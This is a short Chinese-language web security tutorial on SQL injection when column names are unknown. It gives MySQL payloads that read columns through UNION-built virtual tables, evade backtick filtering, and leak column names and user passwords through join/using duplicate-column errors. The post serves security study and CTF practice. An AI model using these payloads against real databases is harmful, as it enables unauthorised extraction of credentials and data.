WEB安全--SQL注入--无列名注入

一、原理:

当我们只知道表名不知道列名时,可以通过联合查询创建虚拟字段查询信息,或者是利用join、using关键字报错得到列名。

二、利用手段:

2.1)创建虚表查询:

sql 复制代码
#创建虚表
select 1,2,3 union select * from user;

#查询第二列数据
select `2` from (select 1,2,3 union select * from user)xxx;

当反引号 ` 被过滤时,可以使用如下方式查询:

sql 复制代码
select b from (select 1 as a,2 as b,3 as c union select * from user)xxx;

2.2)join+using爆出列名:

sql 复制代码
# 得到 id 列名重复报错
select * from user where id='1' union all select * from (select * from user as a join user as b)as c;
# 得到 username 列名重复报错
select * from user where id='1' union all select * from (select * from user as a join user as b using(id))as c;
# 得到 password 列名重复报错
select * from user where id='1' union all select * from (select * from user as a join user as b using(id,username))as c;
# 得到 user 表中的数据
select * from user where id='1' union all select * from (select * from user as a join user as b using(id,username,password))as c;
 
相关推荐
m0_738120726 分钟前
CTFshow系列——PHP特性Web93-96
开发语言·安全·web安全·php·ctfshow
处女座_三月1 小时前
改 TDengine 数据库的时间写入限制
数据库·sql·mysql
Zacks_xdc1 小时前
【前端】使用Vercel部署前端项目,api转发到后端服务器
运维·服务器·前端·安全·react.js
秋难降2 小时前
SQL 索引突然 “罢工”?快来看看为什么
数据库·后端·sql
皆过客,揽星河3 小时前
mysql进阶语法(视图)
数据库·sql·mysql·mysql基础语法·mysql进阶语法·视图创建修改删除
盟接之桥3 小时前
盟接之桥说制造:在安全、确定与及时之间,构建品质、交期与反应速度的动态平衡
大数据·运维·安全·汽车·制造·devops
Lris-KK4 小时前
【Leetcode】高频SQL基础题--180.连续出现的数字
sql·leetcode
Suckerbin4 小时前
DarkHole: 2靶场渗透
笔记·安全·web安全·网络安全
喜葵4 小时前
前端安全防护深度实践:从XSS到供应链攻击的全面防御
前端·安全·xss
泰迪智能科技6 小时前
案例分享|企微智能会话风控系统:为尚丰盈铝业筑牢沟通安全防线
安全·企业微信